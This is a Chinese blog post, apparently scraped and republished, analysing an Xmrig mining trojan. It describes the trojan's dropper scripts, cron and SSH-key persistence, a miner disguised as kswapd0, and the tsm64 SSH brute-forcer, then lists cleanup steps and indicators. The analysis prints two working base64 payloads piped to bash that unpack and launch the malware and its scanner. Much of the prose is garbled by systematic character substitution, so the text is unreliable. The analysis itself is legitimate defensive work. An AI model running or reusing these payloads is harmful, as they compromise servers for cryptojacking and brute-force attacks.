乐趣区

关于网络安全:Xmrig挖矿木马之暴力分析

前提:某天腾讯云发来一封邮件来揭示,本人的服务器中木马了。依据邮件中的提醒,把疑似木马的程序 tsm64 拷贝下来,上传到 vt 上,确认是木马。好了,开始剖析它。

一、初步定位恶意程序在零碎中的痕迹
首先,通过命令“find / -name“tsm64”“全局搜寻这个歹意样本存储在哪个目录,最初在 /tmp/.X25-unix/.rsync/ c 目录下发现了它。浏览整个.rsync 目录,发现都是歹意样本相干的文件,于是将其打包下载到本地进行剖析。对该目录的子目录和文件进行剖析,失去以下信息:

  1. tddwrt7s.sh 为终点,该脚本通过 curl 从远端下载 dota3.tar.gz 并解压,再调用 initall 进行初始化。
  1. Initall 脚本先执行 init 脚本,再执行 init2 脚本。init 脚本将 dota3.tar.gz 解压出的.configrc 目录复制到 root 目录下,并在后盾执行 a 目录下的 init0 脚本(github 上分享的一个专杀矿工过程的脚本)革除主机可能曾经存在的矿工过程,后盾运行 a 与 b 目录下的 a 脚本和 c 目录下的 start 脚本,再设置每分钟查看执行 cron.d 脚本(本人生成的),该脚本将 a 目录下 upd 脚本和 b 目录下的 sync 脚本设置为每次零碎重启后执行。
  1. Init2 脚本后面的工作与 init 雷同,略过。
  2. a 目录下的 upd 脚本会执行 run 脚本,而 run 脚本会先执行 stop 脚本进行上一轮该系列脚本的工作(相当于为新一轮脚本执行做筹备),重点是其会执行歹意的可执行文件 kswapd0。在 Linux 中,kswapd0 过程是用来治理虚拟内存的。kswapd0 挪动内存的过程就会造成 CPU 的大量应用,所以该恶意程序通过伪装成 kswapd0 过程来躲避管理员狐疑其大量耗用 CPU 资源的行为。
  3. b 目录下的 run 脚本会将一个固定 ssh rsa 密钥存储在 ~/.ssh/authorized_keys 中实现长久化管制拜访我的服务器。
  1. C 目录下的 aptitude 脚本执行 go 脚本,而 go 脚本会执行 tsm 脚本。Tsm 脚本会依据服务器零碎的位数而抉择执行歹意可执行文件 tsm32 还是 tsm64。

.rsync 目录下各脚本调用关系如下图所示:

二、动态剖析
在服务器中执行 top 命令查看各过程对资源占用状况进行剖析,发现一个叫”./kswapd0”的过程对 CPU 占用率 99%。先剖析 kswapd0 这个 64 位的可执行文件,通过 ida 的字符串搜寻,发现字符串”https://xmrig.com/wizard”(xmrig 是用于 Monero (XMR) CPU 挖矿的)。同时还找到矿机的配置内容,理解了下社区中挖矿教程,能够晓得其中的 user 字段即是该黑客的门罗钱包地址。联合对反编译后的伪代码剖析,发现 kswapd0 的执行逻辑与数据和 xmrig(ELF 文件,下载地址
https://github.com/xmrig/xmri…

那么就剩下 tsm32/tsm64 这组恶意程序还未知其性能,拖进 ida 里剖析一下。

tsm64 是一个 64 位 ELF 文件,先拖进 ida 里进行剖析。从 start 函数里找到 main 函数的入口,点进去,F5 失败,ida 报错起因是这个函数太大了。在汇编窗口浏览代码,发现在函数结尾有一条指令开拓了微小的堆栈空间,“sub rsp, 3D6A58h”。尝试 nop 掉该指令,以及 nop 掉结尾处的“add rsp, 3D6A58h”指令。再次 F5,还是无奈反编译。没方法只能先看汇编了。汇编界面按空格查看流程图,发现上面有一段执行流疑似通过了平坦化解决。查看了一下负责散发的块,外面定义了一张地址表,按程序执行表中的基本块。因为基本块数量较少,就一个个去看了。剖析后失去的后果,loc_405022 打印了一个负责扫描内外工具(命令行)的应用阐明,loc_406257 执行一组删除操作(目标是擦除入侵痕迹,删除的内容能够作为下一阶段追朔的线索),loc_40506C 执行了“whoami“命令,其余基本块的作用都是通过 strtol 函数将一个字符串转化为一个十进制数而后写入到一个数组里,这里并没有找到字符串起源(应该是命令行参数输进来的),loc_404F37 负责将一个标记置 1(进入这个散发器前初始化为 0,应该是为了判断有没有实现以上操作,在 loc_406257 中再次判断,如果不为 0 则来到这个散发器)。

依据逻辑如果失常执行到 loc_406257,就会来到 loc_4062BD。在这里,程序通过 system 函数执行命令 ”sort -R b > p; sort -R a > ip”。先不理睬这个信息。在下一个块里,该程序对 ’/dev/tty’(是咱们应用的管制终端)进行读取,能够查看到以后终端的显示内容。

sub_408680 函数中实现了与 45.9.148.125(查 ip,发现是一个荷兰的服务器)建设 ssh 连贯,以及读取文件 v(作用未知)。sub_4099F0 函数进行文件写入或者发送数据。到这里能够晓得该恶意程序的一个歹意行为是读取文件 v 的内容而后发送给该近程服务器。

紧接着,该程序将从终端读取到的内容保留到变量 s 里

通过搜寻字符串发现了两组歹意命令“echo “IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC5yc3luYzsgY2F0IC90bXAvLlgyNS11bml4Ly5yc3luYy9pbml0YWxsIHwgYmFzaCAyPjEmCnNsZWVwIDQ1cyAmJiBwa2lsbCAtOSBydW4gJiYgcGtpbGwgLTkgZ28gJiYgcGtpbGwgLTkgdHNtCmV4aXQgMA==” | base64 –decode | bash“和”echo “IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==” | base64 –decode | bash“,别离对它们 base64 的内容解密,后果如下:

能够看出,下面解密进去的脚本与.rsync 和.configrc 目录下的 shell 脚本作用根本是雷同的。

三、动态分析
首先通过“./tsm64 -t 202 -f 1 -s 12 -S 9 -p 0 -d 1 p ip”命令执行一下 tsm64,看一下有什么成果。Tsm64 在执行过程中会产生 a、b、p、ip 和 v 五个文件,其中 a 和 ip 存储的都是 IP 地址以及端口号,而 b 和 p 存储的是由用户名和明码组成的字典。接下来,能够看到 tsm64 创立大量线程去连贯 ip 中的服务器,并尝试爆破 ssh 的账号。

接下来,想晓得 ip 这些文件是哪里来的,因为程序中和本地都没有它们存在。猜想是网络下载,于是打算跟踪 connect 函数的调用,发现程序最先与 45.9.148.125 建设连贯。

而紧接着在实现与 45.9.148.125 进行 ssh 连贯建设的过程后,终于来到咱们想看到的文件下载阶段。咱们能够看到在接管的数据中有大段的 IP 地址,如下图所示。

起初,由发现在 sub_409100 函数中,该恶意程序随机选取下图中三个 IP 地址作为 C2 地址进行连贯。

tsm64 下载好这些文件后,关上文件 p 进行逐行读取,将外面的须要爆破的 ip 和端口读出。这里 tsm64 创立了五百多个线程去爆破指标。

创立文件 v 进行读取,如果读出数据,则发送到远端服务器。因为 v 文件始终为空,这一步始终无奈验证。然而,基于以上的剖析,能够猜出,v 文件存储的是爆破后果。

四、革除计划
对于解决该挖矿木马,提出以下革除计划:

  1. 通过 crontab - e 命令删除相干的四条定时工作。
  2. 杀死 kswapd0 过程,如果 tsm32、tsm64 过程也存在的话也杀死。
  3. 删除~/.configrc 目录、/tmp/.X25-unix/.rsync 目录、dota3.tar.gz 文件,以及~/.ssh/authorized_keys 文件。
  4. 更新 ssh 的账号密码,因为该木马就是通过爆破 ssh 账号进来的。

五、特色总结
黑客的门罗钱包地址:483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS

矿工名:“x”

C2 地址:45.9.148.125、45.9.148.129、和 45.9.148.117

指标矿池地址:

  1. “url”: “debian-package.center:80”
  2. “url”: “[2a0e:fa00:0:5::1]:443”
  3. “url”: “[2a0e:fa00:0:5::1]:80”
  4. “url”: “45.9.148.129:80”
  5. “url”: “45.9.148.129:443”
  6. “url”: “45.9.148.117:80”
  7. “url”: “45.9.148.117:443”
  8. “url”: “45.9.148.58:80”
  9. “url”: “45.9.148.58:443”
  10. “url”: “45.9.148.59:80”
  11. “url”: “45.9.148.59:443”

举荐浏览:老成持重的铁头娃居然拿到阿里、奇安信 offer?原来是看了这份面试外围知识点(全程干货,必须珍藏!)

退出移动版